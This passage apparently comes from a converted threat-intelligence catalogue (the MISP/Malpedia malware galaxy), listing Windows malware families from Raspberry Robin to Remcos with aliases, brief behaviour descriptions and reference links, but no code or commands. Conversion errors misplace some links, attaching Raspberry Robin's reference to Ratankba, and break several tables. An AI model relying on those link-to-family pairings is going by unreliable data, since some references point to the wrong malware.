The tag is: misp-galaxy:malpedia="Raspberry Robin"

Raspberry Robin is also known as:

- LINK_MSIEXEC
- QNAP-Worm
- RaspberryRobin

Table 3926. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Ratankba

This is a backdoor that establishes persistence using the Startup folder. It communicates to its C&C server using HTTPS and a static HTTP User-Agent string. QUICKRIDE is capable of gathering information about the system, downloading and loading executables, and uninstalling itself. It was leveraged against banks in Poland.

The tag is: *misp-galaxy:malpedia="Ratankba"

Ratankba is also known as:

- QUICKRIDE

Table 3927. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin">https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin</a></td>
</tr>
</tbody>
</table>
RatankbaPOS

The tag is: *misp-galaxy:malpedia="RatankbaPOS"

RatankbaPOS is also known as:

- RATANKBAPOS

*Table 3928. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.trex.re.kr/3">http://blog.trex.re.kr/3</a></td>
</tr>
</tbody>
</table>

RATel

The tag is: *misp-galaxy:malpedia="RATel"

RATel is also known as:

*Table 3929. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
### RatSnif

The tag is: `misp-galaxy:malpedia="RatSnif"`

RatSnif is also known as:

<table>
<thead>
<tr>
<th>Table 3930. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.ratsnif" alt="Image" /></td>
</tr>
<tr>
<td><img src="https://www.secureworks.com/research/threat-profiles/tin-woodlawn" alt="Image" /></td>
</tr>
</tbody>
</table>

### RawPOS

The tag is: `misp-galaxy:malpedia="RawPOS"`

RawPOS is also known as:

<table>
<thead>
<tr>
<th>Table 3931. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos" alt="Image" /></td>
</tr>
<tr>
<td><img src="https://www.youtube.com/watch?v=fevGZs0EQu8" alt="Image" /></td>
</tr>
<tr>
<td><img src="https://threatvector.cylance.com/en_us/home/rawpos-malware.html" alt="Image" /></td>
</tr>
<tr>
<td><img src="http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite" alt="Image" /></td>
</tr>
</tbody>
</table>

### Razy

Razy is a malware family which uses a malicious browser extension in order to steal cryptocurrency.

The tag is: `misp-galaxy:malpedia="Razy"`

Razy is also known as:

<table>
<thead>
<tr>
<th>Table 3932. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

RC2FM

A family identified by ESET Research in the InvisiMole campaign.

The tag is: misp-galaxy:malpedia="RC2FM"

RC2FM is also known as:

Table 3933. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm">https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal">https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal</a></td>
</tr>
</tbody>
</table>

RCS

The tag is: misp-galaxy:malpedia="RCS"

RCS is also known as:

- Crisis
- Remote Control System

Table 3934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs">https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs</a></td>
</tr>
<tr>
<td><a href="https://www.f-secure.com/documents/996508/1030745/callisto-group">https://www.f-secure.com/documents/996508/1030745/callisto-group</a></td>
</tr>
</tbody>
</table>
**RCtrl**

The tag is: `misp-galaxy:malpedia="RCtrl"`

RCtrl is also known as:

*Table 3935. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl">https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl</a></td>
</tr>
</tbody>
</table>

**rdasrv**

The tag is: `misp-galaxy:malpedia="rdasrv"`

rdasrv is also known as:

*Table 3936. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rdasrv">https://malpedia.caad.fkie.fraunhofer.de/details/win.rdasrv</a></td>
</tr>
</tbody>
</table>

**RDAT**

The tag is: `misp-galaxy:malpedia="RDAT"`

RDAT is also known as:

- GREYSTUFF

*Table 3937. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat">https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/evasive-serpens/">https://unit42.paloaltonetworks.com/atoms/evasive-serpens/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/">https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/</a></td>
</tr>
</tbody>
</table>
**ReactorBot**

Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.

The tag is: *misp-galaxy:malpedia="ReactorBot"*

ReactorBot is also known as:

**Table 3938. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot">https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot</a></td>
</tr>
<tr>
<td><a href="http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html">http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html</a></td>
</tr>
<tr>
<td><a href="http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html">http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html</a></td>
</tr>
</tbody>
</table>

**Reaver**

Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

The tag is: *misp-galaxy:malpedia="Reaver"*

Reaver is also known as:

**Table 3939. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver">https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver</a></td>
</tr>
</tbody>
</table>
**RecordBreaker**

This malware is a successor to Raccoon Stealer (also referred to as Raccoon Stealer 2.0), which is however a full rewrite in C/C++.

The tag is: `misp-galaxy:malpedia="RecordBreaker"`

RecordBreaker is also known as:

### Table 3940. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker">https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker</a></td>
</tr>
<tr>
<td><a href="https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/">https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/</a></td>
</tr>
<tr>
<td><a href="https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8">https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8</a></td>
</tr>
<tr>
<td><a href="https://d01a.github.io/raccoon-stealer/">https://d01a.github.io/raccoon-stealer/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=NI_Yw2t9zoo">https://www.youtube.com/watch?v=NI_Yw2t9zoo</a></td>
</tr>
<tr>
<td><a href="https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf">https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf">https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf</a></td>
</tr>
</tbody>
</table>
**RedAlpha**

The tag is: `misp-galaxy:malpedia="RedAlpha"`

RedAlpha is also known as:

Table 3941. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha">https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/redalpha-cyber-campaigns/">https://www.recordedfuture.com/redalpha-cyber-campaigns/</a></td>
</tr>
</tbody>
</table>

**RedCap**

According to Trend Micro, this backdoor receives valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using valid accounts with stolen passwords.

The tag is: `misp-galaxy:malpedia="RedCap"`

RedCap is also known as:

Table 3942. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redcap">https://malpedia.caad.fkie.fraunhofer.de/details/win.redcap</a></td>
</tr>
</tbody>
</table>

**RedCurl**

The tag is: `misp-galaxy:malpedia="RedCurl"`

RedCurl is also known as:

Table 3943. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl">https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl</a></td>
</tr>
<tr>
<td><a href="https://bi.zone/eng/expertise/blog/red-wolf-vnov-shpionit-za-kommercheskimi-organizatsiyami/">https://bi.zone/eng/expertise/blog/red-wolf-vnov-shpionit-za-kommercheskimi-organizatsiyami/</a></td>
</tr>
<tr>
<td><a href="https://go.group-ib.com/report-redcurl-awakening-en">https://go.group-ib.com/report-redcurl-awakening-en</a></td>
</tr>
</tbody>
</table>
RedEnergy Stealer

According to Zscaler ThreatLabz, RedEnergy stealer uses a fake update campaign to target multiple industry verticals and possesses the ability to steal information from various browsers, enabling the exfiltration of sensitive data, while also incorporating different modules for carrying out ransomware activities. The name of the malware was kept due to the common method names observed during the analysis.

The tag is: `misp-galaxy:malpedia="RedEnergy Stealer"`

RedEnergy Stealer is also known as:

<table>
<thead>
<tr>
<th>Table 3944. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redenergy_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.redenergy_stealer</a></td>
</tr>
</tbody>
</table>

RedLeaves

The tag is: `misp-galaxy:malpedia="RedLeaves"`

RedLeaves is also known as:

- BUGJUICE

<table>
<thead>
<tr>
<th>Table 3945. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves">https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-riverside">https://www.secureworks.com/research/threat-profiles/bronze-riverside</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf">https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf</a></td>
</tr>
</tbody>
</table>
RedLine Stealer

RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.

The tag is: misp-galaxy:malpedia="RedLine Stealer"

RedLine Stealer is also known as:

Table 3946. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
https://cyber-anubis.github.io/malware%20analysis/redline/
https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1
<table>
<thead>
<tr>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securityintelligence.com/posts/roboski-global-recovery-automation/">https://securityintelligence.com/posts/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/03/microsoft-and-okta-confirm-breach-by.html">https://thehackernews.com/2022/03/microsoft-and-okta-confirm-breach-by.html</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/syk-crypter-discord">https://blog.morphisec.com/syk-crypter-discord</a></td>
</tr>
<tr>
<td><a href="https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/">https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/lapsus-group/">https://unit42.paloaltonetworks.com/lapsus-group/</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/25837/">https://asec.ahnlab.com/ko/25837/</a></td>
</tr>
<tr>
<td><a href="https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152">https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152</a></td>
</tr>
<tr>
<td><a href="https://blog.rootshell.be/2022/01/20/sans-isc-redline-stealer-delivered-through-ftp/">https://blog.rootshell.be/2022/01/20/sans-isc-redline-stealer-delivered-through-ftp/</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/redline-stealer-masquerades-as-telegram-installer">https://blog.minerva-labs.com/redline-stealer-masquerades-as-telegram-installer</a></td>
</tr>
<tr>
<td><a href="https://www.ciphertechsolutions.com/roboski-global-recovery-automation/">https://www.ciphertechsolutions.com/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>-----------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://n1ght-w0lf.github.io/tutorials/yara-for-config-extraction/">https://n1ght-w0lf.github.io/tutorials/yara-for-config-extraction/</a></td>
</tr>
<tr>
<td><a href="https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore">https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/04/haskers-gang-zingostealer.html">https://blog.talosintelligence.com/2022/04/haskers-gang-zingostealer.html</a></td>
</tr>
<tr>
<td><a href="https://securityscorecard.com/research/detailed-analysis-redline-stealer">https://securityscorecard.com/research/detailed-analysis-redline-stealer</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html">https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/malvertising-through-search-engines/108996/">https://securelist.com/malvertising-through-search-engines/108996/</a></td>
</tr>
<tr>
<td><a href="https://dr4k0nia.github.io/posts/Unpacking-RedLine-Stealer/">https://dr4k0nia.github.io/posts/Unpacking-RedLine-Stealer/</a></td>
</tr>
<tr>
<td><a href="https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service">https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/the-growing-threat-from-infostealers">https://www.secureworks.com/research/the-growing-threat-from-infostealers</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2022/05/25/bablossoft-lowering-the-barrier-of-entry-for-malicious-actors/">https://team-cymru.com/blog/2022/05/25/bablossoft-lowering-the-barrier-of-entry-for-malicious-actors/</a></td>
</tr>
<tr>
<td><a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownNTA/2020-09-07/Analysis.md">https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownNTA/2020-09-07/Analysis.md</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html">https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/purecrypter">https://blog.netlab.360.com/purecrypter</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html">https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/omicron-variant-lure-used-to-distribute-redline-stealer">https://www.fortinet.com/blog/threat-research/omicron-variant-lure-used-to-distribute-redline-stealer</a></td>
</tr>
<tr>
<td><a href="https://blog.avast.com/adobe-acrobat-sign-malware">https://blog.avast.com/adobe-acrobat-sign-malware</a></td>
</tr>
</tbody>
</table>
Redosdru

The tag is: misp-galaxy:malpedia="Redosdru"

Redosdru is also known as:

Table 3947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redosdru

REDPEPPER

The tag is: misp-galaxy:malpedia="REDPEPPER"

REDPEPPER is also known as:

• Adupib

Table 3948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper
https://twitter.com/ItsReallyNick/status/1136502701301346305

RedRum

Ransomware.

The tag is: misp-galaxy:malpedia="RedRum"

RedRum is also known as:

• Grinch
• Thanos
Tycoon

Table 3949. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redrum">https://malpedia.caad.fkie.fraunhofer.de/details/win.redrum</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2019/12/redrum-ransomware.html">https://id-ransomware.blogspot.com/2019/12/redrum-ransomware.html</a></td>
</tr>
</tbody>
</table>

REDSALT

The tag is: misp-galaxy:malpedia="REDSALT"

REDSALT is also known as:

• Dipsind

Table 3950. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt">https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf">https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ItsReallyNick/status/1136502701301346305">https://twitter.com/ItsReallyNick/status/1136502701301346305</a></td>
</tr>
</tbody>
</table>

REDSHAWL

REDSHAWL is a session hijacking utility that starts a new process as another user currently logged on to the same system via command-line.

The tag is: misp-galaxy:malpedia="REDSHAWL"

REDSHAWL is also known as:

Table 3951. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl">https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-under-the-hood/77908/">https://securelist.com/lazarus-under-the-hood/77908/</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
</tbody>
</table>
Redyms

The tag is: `misp-galaxy:malpedia="Redyms"`

Redyms is also known as:

Table 3952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms">https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/02/04/what-do-win32redyms-and-tdl4-have-in-common/">https://www.welivesecurity.com/2013/02/04/what-do-win32redyms-and-tdl4-have-in-common/</a></td>
</tr>
</tbody>
</table>

Red Alert

The tag is: `misp-galaxy:malpedia="Red Alert"`

Red Alert is also known as:

Table 3953. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert">https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JaromirHorejsi/status/816237293073797121">https://twitter.com/JaromirHorejsi/status/816237293073797121</a></td>
</tr>
</tbody>
</table>

Red Gambler

The tag is: `misp-galaxy:malpedia="Red Gambler"`

Red Gambler is also known as:

Table 3954. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler">https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler</a></td>
</tr>
</tbody>
</table>

reGeorg

The tag is: `misp-galaxy:malpedia="reGeorg"`

reGeorg is also known as:

Table 3955. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg">https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/ransomware-deployed-by-adversary">https://www.secureworks.com/blog/ransomware-deployed-by-adversary</a></td>
</tr>
</tbody>
</table>

1748
Regin

Regin is a sophisticated malware and hacking toolkit attributed to United States' National Security Agency (NSA) for government spying operations. It was first publicly revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. Regin malware targeted victims in a range of industries, telecom, government, and financial institutions. It was engineered to be modular and over time dozens of modules have been found and attributed to this family. Symantec observed around 100 infections in 10 different countries across a variety of organisations including private companies, government entities, and research institutes.

The tag is: misp-galaxy:malpedia="Regin"

Regin is also known as:

Table 3956. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.regin
https://www.youtube.com/watch?v=jElD-gw2bWo
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.epicturla.com/previous-works/hitb2020-voltron-sta
https://www.kaspersky.com/blog/regin-apt-most-sophisticated/6852/
RegretLocker

According to PCrisk, RegretLocker is malicious software classified as ransomware. Systems infected with this malware have their data encrypted and users receive ransom demands for decryption. During the encryption process, all affected files are appended with the ".mouse" extension.

The tag is: `misp-galaxy:malpedia="RegretLocker"`

RegretLocker is also known as:

**Table 3957. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1321375502179905536">https://twitter.com/malwrhunterteam/status/1321375502179905536</a></td>
</tr>
</tbody>
</table>

RekenSom

Ransomware.

The tag is: `misp-galaxy:malpedia="RekenSom"`

RekenSom is also known as:

- GHack Ransomware

**Table 3958. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rekensom">https://malpedia.caad.fkie.fraunhofer.de/details/win.rekensom</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/03/rekensom-ransomware.html">https://id-ransomware.blogspot.com/2020/03/rekensom-ransomware.html</a></td>
</tr>
</tbody>
</table>

win.rekoobe

A Trojan for Winows with the same code structure and functionalities of elf.rekoobe, for Linux environment instead.

The tag is: `misp-galaxy:malpedia="win.rekoobe"`

win.rekoobe is also known as:

- tinyshell.win
- tshd.win

**Table 3959. Table References**

1750
Rekt Loader

The tag is: *misp-galaxy:malpedia=*"Rekt Loader"

Rekt Loader is also known as:

Table 3960. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rektloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.rektloader</a></td>
</tr>
<tr>
<td><a href="https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html">https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html</a></td>
</tr>
</tbody>
</table>

Rektware

The tag is: *misp-galaxy:malpedia=*"Rektware"

Rektware is also known as:

- PRZT Ransomware

Table 3961. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rektware">https://malpedia.caad.fkie.fraunhofer.de/details/win.rektware</a></td>
</tr>
</tbody>
</table>

RelicRace

The tag is: *misp-galaxy:malpedia=*"RelicRace"

RelicRace is also known as:

Table 3962. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.relic_race">https://malpedia.caad.fkie.fraunhofer.de/details/win.relic_race</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/955924">https://cert.gov.ua/article/955924</a></td>
</tr>
</tbody>
</table>
RemCom

The tag is: misp-galaxy:malpedia="RemCom"

RemCom is also known as:

• RemoteCommandExecution

Table 3963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom">https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom</a></td>
</tr>
<tr>
<td><a href="https://doublepulsar.com/second-zerologon-attacker-seen-exploiting-internet-honeypot-c7f074451ef">https://doublepulsar.com/second-zerologon-attacker-seen-exploiting-internet-honeypot-c7f074451ef</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-franklin">http://www.secureworks.com/research/threat-profiles/gold-franklin</a></td>
</tr>
</tbody>
</table>

Remcos

Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.

Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns. Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user. Remcos is developed by the cybersecurity company BreakingSecurity.

The tag is: misp-galaxy:malpedia="Remcos"

Remcos is also known as:

• RemcosRAT
• Remvio
• Socmer

Table 3964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos">https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos</a></td>
</tr>
<tr>
<td><a href="https://myonlinesecurity.co.uk(fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/)">https://myonlinesecurity.co.uk(fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/)</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain">https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols">https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/ko/25837/">https://asec.ahnlab.com/ko/25837/</a></td>
</tr>
<tr>
<td><a href="https://muha2xmad.github.io/mal-document/remcosdoc/">https://muha2xmad.github.io/mal-document/remcosdoc/</a></td>
</tr>
<tr>
<td><a href="https://www.ciphertextechsolutions.com/roboski-global-recovery-automation/">https://www.ciphertextechsolutions.com/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing">https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/nft-malware-new-evasion-abilities">https://blog.morphisec.com/nft-malware-new-evasion-abilities</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/tracking-hcrupt-an-active-crypter-as-a-service">https://blog.morphisec.com/tracking-hcrupt-an-active-crypter-as-a-service</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/">https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/</a></td>
</tr>
<tr>
